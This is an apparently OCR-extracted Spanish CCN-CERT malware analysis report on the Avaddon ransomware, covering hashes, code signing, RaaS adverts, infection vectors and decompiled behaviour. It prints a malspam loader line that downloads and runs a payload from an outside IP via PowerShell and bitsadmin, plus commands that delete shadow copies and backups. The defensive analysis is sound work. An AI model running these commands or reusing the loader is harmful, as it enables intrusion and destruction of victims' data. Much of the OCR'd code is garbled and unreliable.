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LIMITACION DE RESPONSABILIDAD

El presente documento se proporciona de acuerdo con los términos en él recogidos, rechazando
expresamente cualquier tipo de garantia implicita que se pueda encontrar relacionada. En ningun caso,
el Centro Criptoldgico Nacional puede ser considerado responsable del dafo directo, indirecto, fortuito
o extraordinario derivado de la utilizacién de la informacion y software que se indican incluso cuando se
advierta de tal posibilidad.

AVISO LEGAL

Quedan rigurosamente prohibidas, sin la autorizacién escrita del Centro Criptoldgico Nacional, bajo las
sanciones establecidas en las leyes, la reproduccién parcial o total de este documento por cualquier
medio o procedimiento, comprendidos la reprografia y el tratamiento informatico, y la distribucién de
ejemplares del mismo mediante alquiler o préstamo publicos.
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1. SOBRE CCN-CERT, CERT GUBERNAMENTAL NACIONAL

El CCN-CERT es la Capacidad de Respuesta a incidentes de Seguridad de la
Informacién del Centro Criptoldgico Nacional, CCN, adscrito al Centro Nacional de
Inteligencia, CNI. Este servicio se cred en el afio 2006 como CERT Gubernamental
Nacional espaiiol y sus funciones quedan recogidas en la Ley 11/2002 reguladora del
CNI, el RD 421/2004 de regulacion del CCN y en el RD 3/2010, de 8 de enero, regulador
del Esquema Nacional de Seguridad (ENS), modificado por el RD 951/2015 de 23 de
octubre.

Su misién, por tanto, es contribuir a la mejora de la ciberseguridad espafiola,
siendo el centro de alerta y respuesta nacional que coopere y ayude a responder de
forma rapida y eficiente a los ciberataques y a afrontar de forma activa las
ciberamenazas, incluyendo la coordinaciéon a nivel publico estatal de las distintas
Capacidades de Respuesta a Incidentes o Centros de Operaciones de Ciberseguridad
existentes.

Todo ello, con el fin Ultimo de conseguir un ciberespacio mas seguro y confiable,
preservando la informacidn clasificada (tal y como recoge el art. 4. F de la Ley 11/2002)
y la informacion sensible, defendiendo el Patrimonio Tecnolégico espafiol, formando al
personal experto, aplicando politicas y procedimientos de seguridad y empleando y
desarrollando las tecnologias mds adecuadas a este fin.

De acuerdo a esta normativa y la Ley 40/2015 de Régimen Juridico del Sector
Publico es competencia del CCN-CERT la gestién de ciberincidentes que afecten a
cualquier organismo o empresa publica. En el caso de operadores criticos del sector
publico la gestion de ciberincidentes se realizara por el CCN-CERT en coordinacién con
el CNPIC.
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2. RESUMEN EJECUTIVO

La muestra analizada se corresponde con Avaddon, un ransomware involucrado
en multiples campafnas orquestadas por diversos atacantes desde junio de este afio
que emplea un modelo de negocio conocido como RaaS (Ransomware-as-a-Service)
[REF.- 1]. Segun este modelo, por un lado, los autores del malware se encargan de su
desarrollo y la operativa del servicio de pago via Tor. Por otro lado, los afiliados que se
unan al programa se encargaran de su distribucién, por ejemplo, mediante spear-
phishing, exploit-kits, etc., a cambio de un porcentaje del dinero recaudado en los
rescates.

Entre el conjunto de condiciones impuesto por los autores de Avaddon a sus
afiliados se encuentra la prohibicién de atacar victimas que formen parte del CIS
(Commonwealth of Independent State) [REF.- 2].

Desde junio de este afo se han identificado multiples campafias a través de las
cuales se ha distribuido Avaddon. Por ejemplo, el 4 de julio se identificaron diversas
campafias de spam en las que se utilizaba la botnet Phorpiex/Trik [REF.-3] como via de
entrada para distribuir Avaddon entre otros cddigos daiiinos.

El ransomware esta desarrollado en C++, emplea AES256 junto con RSA2028
para cifrar los ficheros de las victimas y no requiere de conectividad a Internet para
ejecutar sus acciones daininas. Antes de comenzar a cifrar los ficheros desactiva las
shadow copies y elimina las copias de seguridad del sistema. El cédigo daiiino tiene
capacidad para infectar unidades de red, dispositivos extraibles, asi como otras
unidades montadas en el sistema de la victima.

3. CARACTERISTICAS DEL CODIGO DANINO

El cédigo daiino realiza las siguientes acciones:

e Desactiva las shadow copies y elimina las copias de seguridad.

e Termina procesos y servicios relacionados con almacenamiento,
escaneo y recuperacion de ficheros.

e Cifra un gran nimero de ficheros del sistema y de las unidades/discos
montados (incluidas unidades de red) haciendo uso de RSA y AES.

4. DETALLES GENERALES

La firma del codigo daiiino es la siguiente:

MD5 275E4A63FC63C995B3EO0D464919F211B

SHA1 51D85210C2F621CA14D92A8375EE24D62FOD7F44

SHA256 | CC95A8D100F70DOFBF4AF14E852AA108BDBOE36DB4054C3F60B3515818A71F46
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La muestra ha sido vista por primera vez el 31 de agosto de 2020 desde Espafia y,
a fecha de realizacion del presente informe, presenta un ratio de deteccidn alto en
soluciones antivirus.

El fichero tiene un tamano de 736608 bytes, se ha compilado para arquitecturas
de 32 bits el 29 de agosto de 2020 segun su compiler-stamp (dicha informacion puede
haber sido intencionadamente modificada) y esta desarrollado en C++. Sus
caracteristicas estaticas se muestran en la siguiente imagen:

2xP04A5010 OxBRAPESAE

Figura 1. Caracteristicas estaticas del binario

El binario se encuentra firmado (hora y fecha: 10:02 30/08/2020) por el publisher
“Gold Stroy SP Z 0 0” y aparenta ser una aplicacién vinculada con Microsoft,
concretamente imita los atributos de la aplicacidn legitima taskhost.exe. Cabe destacar
que otros cddigos dafiinos, por ejemplo, el ransomware Maze o ParallaxRAT estan
firmados también por dicho Publisher [REF.- 4].

Verified: Signed u The fie is signed and the signature was ver

Signing date: 16:02 36/08/2020

Publisher: Gold Stroy SP 2 0 0

Company: Microsoft Corporation O The signature was time stamped by Symantec Corporation on Sunday, August 30, 2020 10:02:07 AM (ocal time).

Description: Host Process for Mindows Tasks

Product: Microsoft« Windows« Operating System

Prod version: 10.0.17763.831 Sianatere Certficar

File version: 13.0.17763.831 (WinBuild.166101.0800) anature Certfiestes
it

Machinelype : Subject CN=Gold Stroy SP Z 0 0, 0=Gold Stroy 5P Z O O, L=\Werszawa, C=FL, SERIALNUMBER 0000571426, OID.2.5.4, 15=Prival
Bl nary Uersion 0 0 1 Issuer CN=DigiCert EV Code Signing CA (SHAZ2), OU=www.digicert.com, O=DigiCert Inc, C=US

Original Name: h‘isl‘(h(‘)sl exe Serial Number OFCBA260DF 7DAS02ECF 4D4D5FCEIDSDD
Internal Name: taskhost.ewe VeldFrom - 29-1N-2020

Copyright: 0 Microsoft Corporation. ALl rights reserved. [NACENREEE

Comments : nfa . .
Entropy: 6.18 Subject (CH=DigiCert EV Code Signing CA (SHA2),
Issuer CN=DigiCert High Assurance EV Root CA, OU:
Serial Number 03F 1B4E 15F 3A82F 1149678B3D7D8475C
Valid From 18-APR-2012

vaidTo 18-4PR-2027

The following certificates are contained in the signature.

]

com, O=DigiCertInc, C=US
w.digicert, com, O=DigiCert Inc, C=US

Subject CN=DigiCert High Assurance BV Root CA, O
Issuer Ch=DigiCert High Assurance EV Root CA, OU:
Serial Number 02AC5C266A0B409B5F0B79F 2AE 462577
ValidFrom  10-NOV-2006

Valid To 10-NOV-2031

cert.com, O=DigiCert Inc, C=US
jcert.com, O=DigiCert Inc, C=US

Figura 2. Firma: Gold Stroy SPZ00

Pese a que el binario no contiene strings en claro de relevancia se identifican
cadenas de interés cuando se aplican operaciones XOR junto con determinadas claves
a su contenido. En la siguiente salida se muestran strings vinculados con algunos de los
procesos que intentara finalizar antes de comenzar con el cifrado de los ficheros, asi
como la URL oficial del proyecto Tor.
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Figura 3. Cadenas ofuscadas

Dentro del fichero de manifiesto del binario se observa la directiva
“requireAdministrator” para ejecutar el binario con permisos de administrador.

4| Version Info 1 1 [ <?xml version="1.0" encoding="UTF-8' standalone="yes?>
2|1 VERSIONINFO 2 || <assembly xmins: :schemas-microsoft-com:asm.vl' manifestVersion="1.0">
3| FILEVERSION 1,0,0,1 3| <trustinfo xmins="urn:schemas-microsoft-com:asm.v3">
4 | PRODUCTVERSION 1,0,0,1 4| <security>
s | EES Ox40004 5 <requestedPrivileges=
6 | FILETYPE UK. 6 <requestedExecutionLevel level="requireAdministrator’ uiAccess="false’ />
7({ 7 <[requestedPrivieges>
8 | BLOCK "StringFileInfo” 8| </security>
9L 9| «/trustinfo>
BLOCK "040004b0" 10 | </assembly>
{
VALUE "CompanyName", "Microsoft Corporation”

'VALUE "FileDescription”, "Host Process for Windows

oks”
'VALUE "FileVersion", "10 0.17763.1 831 (WinBuild. 150101 0800)"
VALUE "Intemnaliame

skhost.exe”
VALUE "LegalCopyright”, "\xAQ Microsoft Corporation. Al rights reserved.”
VALUE "OriginalFikename’

10

11

12

13

14

15

16

17 “taskhost.exe”
18 VALUE "ProductName”,
19

20

21

2.

23

2

25

26

27

icrosoft\xAE Wlndows\xAE Operating Systam”
'VALUE "Productversion”, "10.0.17763.831"

}
2
BLOCK "VarFilenfo"

VALUE "Translation”, 0x0409 0x0480

Figura 4. Fichero de manifiesto

El investigador David Montenegro publicd en su Twitter [REF.-5] imagenes sobre
los anuncios de reclutamiento de afiliados vinculados con Avaddon en determinados
foros underground de habla rusa en donde los autores del mismo publicitan su servicio
“Ransomware-as-a-Service”.

Cryptolnsane
We bring to your attention a solution for converting high-quality instals - Avaddon Ransomware, We announce a =

set of adverts to our affiliate program.
Ransomware, Ransomware Everywhere!!
New Program Avaddon Ransomware ) Q a

The development is new, never participated, never shone anywhere,
Development priorities: functionality, speed, configurability.

Cryptolocker:
. - Landing victims supports 9 languages: [ ENG, DE, FR,
-Avaddon Ransomware - cryptolocker, written in C ++ using WinAPI. >
AES256 + RSA2048 i used to encrypt files. IT, ES, PT, CN, JP, KR ]
Work is performed secretly in offline mode, the presence of the Internet is not necessary.
-Decryption by third-party tools is not possible.
-Does not have third-party dependencies.
Works on all Windows lines starting from 7-ki.
- File encryption is performed in multi-threaded mode on all hard / removable / network / other drives. A separate stream is created for each medium.
When connecting new hard drives / flash drives / network drives / other, the crypto-locker begins to work them out in separate streams.
In case of new files, they will also be encrypted
-Support network operation mode, in which paraliel scanning of the local network is performed.
Fileless version of PowerShell for targeted attacks on the network. The locker is inside the script without downloading from the network
-New key for each generated build
Increase of rights to the administrator, hiding and fixing in the system.

Before you begin, the completion of these processes, the stop and removal of these services are performed. !
- ncryption, search and mount hidden drives, A
Before encryption, the recycle bin is cleared, shadow copies and OS recovery points are deleted.

During file encryption, the crypto-locker can change the attributes of files to gain access to them

~Support the detection of processes that block the file, and ompletion for unhindered access to the file
Set pixel wallpaper with text urging you to read the instruc

Figura 5. Raa$S (Avaddon). Fuente de la imagen: Twitter @Cryptolnsane

Asimismo, la empresa de ciber inteligencia israeli Kela [REF.- 6] informaba
también de algunos de los anuncios realizados por los operadores de Avaddon en
donde se publicaban portales de acceso a los datos extraidos de determinadas
victimas.
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[PARTNERSHIP PROGRAM] Avaddon Ransomware

<.> The recruitment continues, only networks \ rdp and other accesses We

made a personal blog for leaking information and also another pavershell method for networkers.
Avaddon &

Pr . : . - .
sl The portal on which the data of those companies that open up to pay or get in touch will be adjusted

oine Dec 21,2019
e 19

4 ~
805 L Report

Figura 6. RaaS (Avaddon). Fuente: https://www.bleepingcomputer.com/

5. PROCEDIMIENTO DE INFECCION

Se conoce, a raiz de las comunicaciones publicadas en determinados foros
underground por los autores de Avaddon, que éstos no proporcionan ninguna via de
distribucion del ransomware. No obstante, recomiendan a sus clientes hacer uso de
dediks (término derivado de la palabra “dedicated” y que hace referencia a equipos
bajo el control de un atacante y cuyo acceso esta en venta) o similares para obtener
facilmente acceso a equipos en los que pueda desplegar el cédigo dafiino.

The recruitment continues

Interesting directions: Doorways, Dediks, Network

Avaddon ]

Figura 7. Recruitment Avaddon. Fuente: https://www.domaintools.com/

Desde junio de este afio se han observado diversas campafias de malspam en
donde los atacantes envian a las victimas un loader de Avaddon en Javascript
comprimido en un .zip. Dicho Javascript aparenta ser un fichero jpg, por ejemplo:
PIC124102.jpg.js. Los atacantes, en sus correos, animan a las victimas a abrir la imagen
adjunta. Si éstos tienen habilitada la opcién de “Ocultar las extensiones de archivo para
tipos de archivo conocido“(opcidn por defecto) pueden pensar que el fichero adjunto
se trata de una imagen al observar Unicamente la extensién .jpg, dando pie a su
ejecucion.

En la siguiente imagen puede verse un email remitido a determinada victima
junto al loader en Javascript. Este emplea powershell asi como bitsadmin para
descargar y ejecutar Avaddon en el sistema.
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\«’” TMMalAnalyst e 55 o i - b e el
) 3 . Vincent Wood <Vincent8231@6636.com>
Jun-09,2020(JST). MalSpam attached ZIP -> js -> infects 1 like this photo
. = I
Leads s file VT -
Download Malware file VT : f =Ters
i [ @O ~Er 57750 » F=axor» | Eere——
| Zm. @mc~ #E- BB BIAUTEETS  FLITAY— >~ 1 @
EFaxX> b S1T5Y G B
= 51759 IR 209 o -
& BFaxyb _ EEoE o
S e b
H 7t [B11MG122109.jpg.js 04/06/08 20:05  JScript Seript 7
& =a-Svs ¥ IMG122109.3pg.fs.2ip
~IMG122109.ipq.js - XEH =S cn

I7UF) WR(E) @R(0) JFR(V) ~WIH)

va: jSRunznew ActiveXObject ("WSCRIPT.Shell”); jsRun.Run(“cnd. exe /c PowerShell -
ExecutiorPolicy Bypass (New-Object System.Net.WebCljent).DownloadFile

Chttp:/7217,8.117.63/ipr.exe’, ' $temoX¥¥71276467 . exe ) Start-Process " &temoi¥

¥7276467 .exe’ ", false); isRun. Rm( “end.exe /c bitsadnin /transfer getitman /downloa

p‘no;ny high http://217.8.117.63/jpr.exe temp2¥¥5737263. exelstart %19mp"¥¥57¢72b" exe”,
alse

Figura 8. Malspam Avaddon. Fuente: Twitter @tmmalanalyst

Otro vector de infeccién utilizado por los atacantes es el uso de ficheros
ofimaticos dafiinos. Microsoft anunciaba [REF.- 7] en su Twitter a principios de junio el
uso de documentos Excel con macros dafiinas para descargar y ejecutar Avaddon en
determinadas campanas contra ciudadanos italianos.

Auto_Open - S =SHAS15048() Microsoft Security Intelli... &
= u
HY HZ 1A
45604
45605
45606[=5HAS15048() |

45607 =REGISTER(SHCS$4496,50P541037,5FL552214,58)544380,,1,9)
45608 =kWazolfx($1D$21219,0)

45609 =

45610 - - = [ ]
45611

45612

45613 .

45614

45615

45616 == = u ]
45617 n

45618

45619

45620 =HALT()

Figura 9. Macro Excel Avaddon. Fuente: Twitter @MsftSecintel
6. CARACTERISTICAS TECNICAS

Con la ayuda de Radare puede identificarse facilmente el main() del binario a
partir de la direccién 0x435691.
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Figura 10. main()

El cédigo dafiino comienza resolviendo, via GetProcAddress, APls vinculados con
la configuracion regional del equipo: EnumSystemlLocalesEx, GetLocalelnfoEx,
GetTimeFormatEx, GetUserDefaultLocaleName, IsValidLocaleName,
LCIDTolLocaleName, LocaleNameTolCID, etc. Dichas APIls seran utilizadas
posteriormente para extraer aspectos como el idioma, region y codificacion del
sistema.

1fint _ cdecl resolve_API(int al, LPCSTR lpProcName, int a3, int a4)

2{
3| volatile signed _ int32 *w4; // ebx
4| int v5; // edx

5| int result; X
G| HMODULE v7; // eax
7| FARPROC v8; // eax
9

int va; // esi

latile signed _ int32 *)((char *)8unk_4AB9SE + 4 * al);
4~ _ security_cookie, _ security_cookie & 8x1F);

15 return __ROR4_ (*v4 ~ _ security_cookie, _ security cookie & Bx1F);
6| 7 = sub_A45C4BF((_DWORD *)a3, (_DWORD *)ad);
if (w7 88 (vB = GetProcAddress(v7, [lpPreciame), (va = (int)ve) != @) )

1 _InterlockedExchange(v4, sub_458F66((int)vs));
20 result = vo;
21| }

22| else

{
24 _InterlockedExchange(v4, _ security cookic * __ROR4_ (-1, 32 - (_ security_cookie & 8x1F)));
25 result = @;

26| }

27| return result;

Figura 11. Resolucion de nombres (GetProcAddress)

Pese a que el binario no se encuentra empaquetado si que dispone de multiples
strings ofuscados utilizando un algoritmo personalizado. En la siguiente imagen se
muestran algunas de las cadenas en claro tras establecer un breakpoint condicional en
el return address de la funcién encargada del descifrado de las mismas.
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sF pop edi [Zlog
SE pop esi INTY en avaddon noaslz.JUidsesl LEETY)
884D FO mov :(x,dwnr‘d ptr ss:febp-10l 22
E8 D1C30200 call (avaddumnuaslr sub_435000>
moEDEEE L. cs ret
00408C40|r$ 55 push H
00408C41(|. BBEC mov. =b9-=sp
5 o push es1 Ferwe
mov es7,dword ptr ss:llcborel lyna
. <mp. dww‘d ptr ds: [:51110] -
0040sC || v 74 3A 32 avaddon_roasir, 408Cs: BREN
00408C4D (|. 837E 14 08 cmp dword ptr ds: [esHH]ya [9 |eL"\\Users\\R1l Users"
8 b avaddion_noaslr. 408C57 [$L"SYSTEMDRIVE
mov eax,dword ptr ds:[esi] |L"EUBLIC
FF15 €8804700 €1l dword p(r ds: [<80penMutexws] €™\ \AppDat:
B i sy | ==
8836 mov esi,dword ptr ds:[esi] |¢L"Tor Browser™
e B e
FF15 E£804700 a3 Gwora pEr ds:[<&Createnutexws] [ Pragrambata” |
85C0O Test eax,eax sL"Program Files
32¢0 xor al sL™\\DPragram Files\\Misrssofe\\Exchange Server®
= pop ;g; sv-sysTamRIvE
1 mov al,1 |sLSYSTEMDRIVE"
&= eoneci) SL™\\Program Files\\Microsoft SQL Server"
BBEC mov :bp,:sp s i
B81EC D4020000 sub esp, 2l [L"bek - bmp
00408C93 || . Al 10504A00 mov =ax,dww‘d ptr ds:[4A5010] [L"svchost™

25 LOBYTE(/17) =
2 sup .nmzwmayrgm a);
30 =e;

)5 % 5) +5) * exFa);

¥
507 = sub 485F28((int)d.9, (const CHAR X)8vid);
K )z + 18]

U3 +16), _mm loadl epi€a((const _ mi2sl *)(v7 + 16)));

SO e many
ib_404030(v17, v19 + 1);

Figura 12. Strings cifrados / Descifrado

Entre los strings recuperados se puede observar el nombre de un objeto mutex
(“Global\\{A2BBD235-8D0F-42CD-81A3-89A4E9EE96E7}") que sera utilizado para conocer si ya
existe una muestra de Avaddon en ejecucién. En la siguiente imagen se muestra la
I6gica empleada. Se invoca en primer lugar a OpenMutexW vy si se obtiene NULL (lo que
implicaria que no existe una instancia de Avaddon ejecutandose) se crearia dicho
objeto mutex mediante CreateMutexW y continuarian las acciones dafiinas.

[ =5 FTER EoF avaddon_noas Lr. BE4B3C40 [ guessed firal g R SRR
. sEEC 1DV EBF, ESF oe
28 = 0@ LastErr DEEOBA0H ERROR_SUCCESS
2675 B MOV EST,OU0RD FTR §5: [ARG. 11 EFL 90080205 (M0, ME, HE, A, NS, PE, GE, &)
S37E 18 @8 | CHF_OWORD PTR_OS: [ESL+101,8 10 ety 6.0
v 7q JE SHORT DE4ECET 13 et 0
S57E 14 @3 | CHP DWORD TR DS: (£51+141,8 -
ST enotu 0.8
25 R = ER TN ]
v 72 BE B shinki - Bdagacs? 3 e 8
s iy EGK DUDFD PR 05: LESTI qE ey 8
> 5e PUS -
- £TE enpru 0.8
A 6 P s Ir\herltHandle = eIy B
65 01001F00 | PUSH 1Fa@ ALUTEAARNANE 2 RRRT ouEmy_sTATE:SvNCHRONIZE teFaaan - szie cerunzOT
F215 " 2280850 EALL BlIARD PTR DSYECaKERNELS2: Dnenturerb) | LRERNEE 325 80 dna e FoT emeE Cond B G b6 Err G BB A GGG (6T
a5 TEST_ERX, El
| 2. o . Fill B7F  Bren NEOR,G3 Hosk 111111
Stieee 5""535&?%5}535?1[ES“M] B Last omnd 0BAG:BBBABED
v MO DASZAGSY GREDADYE DASHBG44 BBSSEBZD
3 Py
0 a2 Esn 2 5 [ég;gji{?z"ir o [ALSE M3 OHEOHCER CRCEACEN EHOEECEE HEGEECEE
£15 Eannaze GALLABUORD P TRIDSHECAKERNES2: Craasamasars] | LREREL S5 coeonstiusents el e e
. 350 ]E ;HES¥ I — e dFEszeds dcdisads SaiFacan wadiinee
e - 7 sedsheds seirieed Saischs dezmabe
= £or Egp NACSR BEGRIFEE FZ @ DE @ Err @gpEge
2 paen i find MEAR  Mask 111111
> BD BL HOV AL, 1
€ FOF ESI
50 FOP_EBF
C2 Bden RETHN 4 s

[F7E575051 (herne 52, Opentutenm)

e EEST: = COREBBCEE] 10 | (RETURN Fron FernelozOoentiiten Uaddon nos:lr,Ba406a0es
777 oo ooz o e deTE P T T EE o e BRIEERSC| Papireno] |6 ¥ || Desiredhooets = IUTANT GUERY_ AT 120N N2 1 EF G200

#3 JMH =
F 5o 53 o0l b A5 0B BB/ GE B8 G A5 06 G5 &6 66| ¢ U 21 ares | ameesss) o phisbecionmale=2let 01 T ]

Figura 13. Gestion objeto mutex

Si, por el contrario, OpenMutexW devuelve un handle valido al objeto mutex el
codigo dafiino finalizara su ejecucidon (asumiendo que ya existe una instancia
ejecutandose).

Centro Criptoldgico Nacional USO OFICIAL




®

USO OFICIAL

coN-cert

centro criptoldgico nadional

CCN-CERT ID-28/20 Cédigo Daiino “Avaddon”

Figura 14. Existencia del objeto mutex

Otros strings ofuscados reflejan los procesos que posteriormente ejecutara el
espécimen via CreateProcessW antes de comenzar con el cifrado de ficheros con el
objetivo de dificultar la recuperacién de los mismos:

"wmic.exe SHADOWCOPY /nointeractive"

"wbadmin DELETE SYSTEMSTATEBACKUP"

"wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest"
"bcdedit.exe /set {default} recoveryenabled No"

"bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"
"vssadmin.exe Delete Shadows /All /Quiet"

= i) avaddon_noaskexe (2016) Host Processfor .. C:\Users\Laura\Desitop\c23\avaddon_no... | Microsoft Coporet... OFFICE23\Laurs

Lriidad de linea d... C:\Windows\SysWOW64\Wbem\wmic exe

C\Users\Laura \Deskiop\c23\avaddon_noask.exe
Microsoft Comporat... OFFICE23\Laura | wmic exe SHADOWCOPY /nointeractive

07/08/2020 0:02:32
07/08/2020 0:02:33

Interfaz de linea d... C:\Windows\SysWOW64\vssadmin.exe
Lriidad de linea d... C:\Windows\SysWOW64\Wbem\wmic exe
Intefaz de linea d... C:\Windows\SysWOW64\vssadmin exe
Uiidad de linea d... C:\Windows\SysWOW64\Wbem'\wmic exe
Interfaz de linea d... C:\Windows\SysWOW64\vssadmin exe

7 vssadmin exe (2616)

I] Microsoft Comporat... OFFICE23\Laura
| Microsoft Comorat... OFFICE23\Laura
| Microsoft Comorat... OFFICE23\Laura
| Microsoft Coporat... OFFICE23\Laura
| Microsoft Comorat... OFFICE23\Laura

vssadmin exe Delete Shadows /Al /Quiet
wmic.exe SHADOWCOPY /nointeractive
vssadmin.exe Delete Shadows /Al /Quiet
wmic.exe SHADOWCOPY /nonteractive
vssadmin.exe Delete Shadows /Al /Quiet

07/08/2020 0:02:33
07/08/2020 0:02:34
07/08/2020 0:02:35
07/09/2020 0:02:35
07/09/2020 0:02:36

c, (int)&dword_aAsSrC);
s (

badmin_1, (int)dword 4A5F24);

‘sub_408ADB( (int )i

int)Rdword_4ASASC);

(int)&dword_4ASFeC);
Lo(

(int)8dword_4ASC6C) ;

&dword_4A5A20) ;

ct _PROCESS_TNFORMATION ProcessInfor
struct _STARTUPINFOW StartupInfo; // [e3

ne;
, @, 8, 1, BxB00ROAOu, @, 9, &Startuplnfo, &ProcessInformation) )

rrrrrrr BXFFFEFFEF);

Figura 15. Procesos hijos generados

Mediante dichos procesos se deshabilitan las shadow copy, se eliminan las copias
de seguridad del sistema, se deshabilita la reparacién automatica y se modifica la
politica de arranque (boot status policy) para ignorar diversos tipos de errores.

El malware implementa diversas técnicas anti-debug; por ejemplo, hace uso de
APls como IsDebuggerPresent y CheckRemoteDebuggerPresent (al cual le pasa como
argumento un handler al propio proceso: OxFFFFFFFF) y comprueba el contenido de los

USO OFICIAL

Centro Criptolégico Nacional




USO OFICIAL

®

coN-cert

centro criptoldgico nadional

CCN-CERT ID-28/20 Cédigo Daiino “Avaddon”

registros de debug (DRO-DR3). Si se identifica la presencia de un debugger finaliza la
ejecucion del proceso sin llevar a cabo las acciones de cifrado.

1bool check debugger()
2

3 @; // eax

4 vl; // eax

5 bool result /) al

6 CONTEXT Context; // [esp+8h] [ebp-2D4h]

7 BOOL pbDebuggerPresent; // [esp+2CCh] [ebp-3h]

8

9| result = 13

18 if ( IsDebuggerPresent(} != 1)

11

12 pbDebuggerPresent = 1;

13 w8 = GetCurrentProcess();

14 if ( CheckRemoteDebuggerPresent(v8, &phDebuggerPresent) )
15 {

16 if ( pbDebuggerPresent I= 1)

17

13 sub_44CED@((_ m1281i *)&Context.Dr@, @, @x2C8u);

19 Context.ContextFlags = 65552;

26 vl = GetCurrentThread():

21 if ( !GetThreadContext(vl, &Centext) || !Context.Dr@ &8 !Context.Drl &8 !Context.Dr2 &% !Context.Dr3 )
22 result = @;

23 }

24 }

25}

26 return result;

27}

Figura 16. Técnicas Anti-Debug

Posteriormente, Avaddon intenta identificar determinado tipo de servicios
haciendo uso de APIs vinculadas con el Service Control Manager (OpenSCManagerW,
OpenServiceW, QueryServiceStatusEx, etc.). Algunos de estos procesos se listan a
continuacion.

DefWatch, ccEvtMgr, ccSetMgr, ccSetMgr, SavRoam, dbsrv12, sqlservr, sqlagent, Intuit.QuickBooks.FCS,
dbeng8, sgladhlp, QBIDPService, Culserver, RTVscan, vmware-usbarbitator64, vmware-converter,
VMAuthdService, VMnetDHCP, VMUSBArbService, VMwareHostd, sqlbrowser, SQLADHLP, sqlwriter,
msmdsrv, tomcat6, QBCFMonitorService.

Si alguno de estos servicios existe trata de finalizarlo y eliminarlo via
DeleteService.

TOTISTEE[ - BEST O T WOrT PYT STTIEON TR
ceastuzfou E:\{]ngge ptr B3 Eebp- ZD] o enx EEESEE
837E 10 00 cmp dword ptr ds:[esi+10],0 | EBx pameradd
8945 CC mov_dword ptr ss:|[febp-34], eax o
OF84 4C010000 je avaddon_noaslr.409CA ErR  ECETREGED
68 3FO00OFO0 push FoOzF DWORD dwDesiredAccess = SC_M:\MGER ALL_ACCESS EBP  0306F30C
6A 00 push 0 LPCTSTR 1|:|Datahasar~.ara = NUL ESE  0306F300
64 00 push 0 LPCTSTR 1pMachineName = i ESI 00000001
FF15 34504700 €all dword ptr ds: [«Dpenscmanager»] OpenSCManager EDI 00000000

8945 C8 mov dword ptr ss:[febp-zs], e
Test eax,eax

e avaddon_noasTr.2089CA
cmp dword ptr ds:[esi+14],8
jb avaddon_noasTr . 4098A0
mov esi,dword ptr ds:[esi]

L7 Log

L DefWactch”

o
OF24 32010000
837E 14 08

L ceEvoMgr™

i = 57 push L"ceSetMgz™
e BA 2C push 2C DWORD dwDesiredAccess = SERVICE_QUERY_STATUS | SERv]| L"SavRoam"
. s6 push esi LPCTSTR 1pServicename Lvdbsrviz®
. 50 push eax SC_HANDLE hscManager e —
. FF15 04804700 call dword ptr ds:[<&0penservicews] Openservicew o
. mov edi,eax L"sglagent”
. 85FF test edi,edi L"Intuit.guickBooks.FCS™
---------- . OF84 0DB010000 je avaddon_noaslr.4099C0 Lrdbengs"
. 5 Fg Tea eax,dword ptr ss:[ebp-si a .
. . €745 F4 00000000 mov dword ptr ss:[febp-cl,0 L"sqladhlp’
Be 50 push Eax LPDWORD pcbBytesNeeded L"QBIDPService"
|| o04038c0||. €A 24 push DWORD cbBufSize = 24 L"Culserver”
o| 00a0sscz||. spas Da O ) (o e [Ebp 2] LMRTVacan®
|| 002058cs|| . c745 Fs oooooooo mov dword ptr ss:[[ebp- . .
#| 0oansscc||. so push eax LPEYTE 1pBuffer e e emroxsd)
e||00203sco|| . oFs7CO XOFpS Xmmo, Xmmo L"vmware-converter”
JEe|: 8% push o ?é“MS[ELSEE‘ = SC_STATUS_PROCESS_INFO LeVMAuchdServics™
. aoz || . pus| s ervice o =
| 00402803 || . oOF1145 D4 movUps xmmword ptr ss:|[febp- 2:] Xxmmo e LU
| 00405807 || . OF1145 E4 vups xmmword ptr ==:[ebp-1c],xmmo L"VMUSBArbService”
8 loriaasen| | PRger e Rac ehazon Ean dword ptr ds: [<aqueryservicestatud Lqueryservicestatusex L"VMwareHostd"™
e|| 002098E1 Test eax,eax R ——
77777777 o | 55:058E3 ||~ OF84 bo6O00D e avaddon_noaslr.408985 T
e | 004098E9 8B45 DB mov ez, dwurd ptr ss:[febp-2a] QLAD
® || 004098EC B3F8 01 cmp e Lrsglwzitez”
-»| 004093eF || .~ OFg4 caoooooo je avaddgmngash‘ ] Lemsmdsry"
o || 002098F5 8875 0C mov esi,dword ptr ss:[ebp+C o =
alongnace 2258 02 con =av'o i S Lt o 6]

Figura 17. Listado de servicios

El cédigo danino también recorrerd el listado de procesos en ejecucién para
intentar localizar y finalizar el siguiente listado de procesos, seguramente para evitar
problemas derivados del bloqueo de ficheros (locks) por parte de dichos programas a
la hora de cifrar los mismos.

sqlservr.exe, sqlmangr.exe, RAgui.exe, QBCFMonitorService.exe, supervise.exe, fdhost.exe, Culture.exe,
RTVscan.exe, Defwatch.exe, wxServerView.exe, qlbrowser.exe, winword.exe, GDscan.exe, QBW32.exe,
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QBDBMgr.exe, gbupdate.exe, axlbridge.exe, 360se.exe, 360doctor.exe, QBIDPService.exe, wxServer.exe,
httpd.exe, fdlauncher.exe, MsDtSrvr.exe, tomcat6.exe, java.exe, wdswfsafe.exe.

. &2 == +]Cocutzar_rry
. cc ints
=K B push eop Killprocesses | | EAX  Socoscos  aLrsqiservr.exer
: =3 . ECX  46A20000
. s3e4 s and esp;ereerres
. S1EC 54020000 sub esp,2s+ [ evx  ooosescs
. A1 10304200 mov eax,dword ptr ds:[4A5010] EF oD
. Xor eax;esp 00187845
. 838424 50020000 moy dword per s5:fespr250l, eax I 0029300 aLvsalservexe”
. pus eox:airsqiservr | e0T  ooooO16s  LtG'
. 8850 08 mov :bx aword ptr ss:fenprsl [ebprs) el sq1s
10 unsigned int ve . 5 push et €si:aL’sqiserve | TP 004090C0  avaddon_noasir. 00409
. push edi
11 PROCESSENTRYI2N pe, " . 8o5c21 oc Moy duord prr ssxfespecl,ebx [e5p+C1: 85015 | criags 00000202
12 . 5378 10 00 Cmp dword ptr dz:[ebx:10],0 A
s S— QFe4 18010000 Je avaddon_noasir, 405189’ o ED M
14 RD *)(a1 + 16) ) e RE FERY cFo TFo TF1
15 . FF15 ECE04700 Bii wora prr ds: [<acreareTootheTp32snapsnots] Lasee Y g m——
5 . oy <d, cax asterror RROR 4
16 colhelp3zsnapshot (2u, €); . Crp cailirrerer Laststatus CO000034 (STATUS OB2ECT_NAME
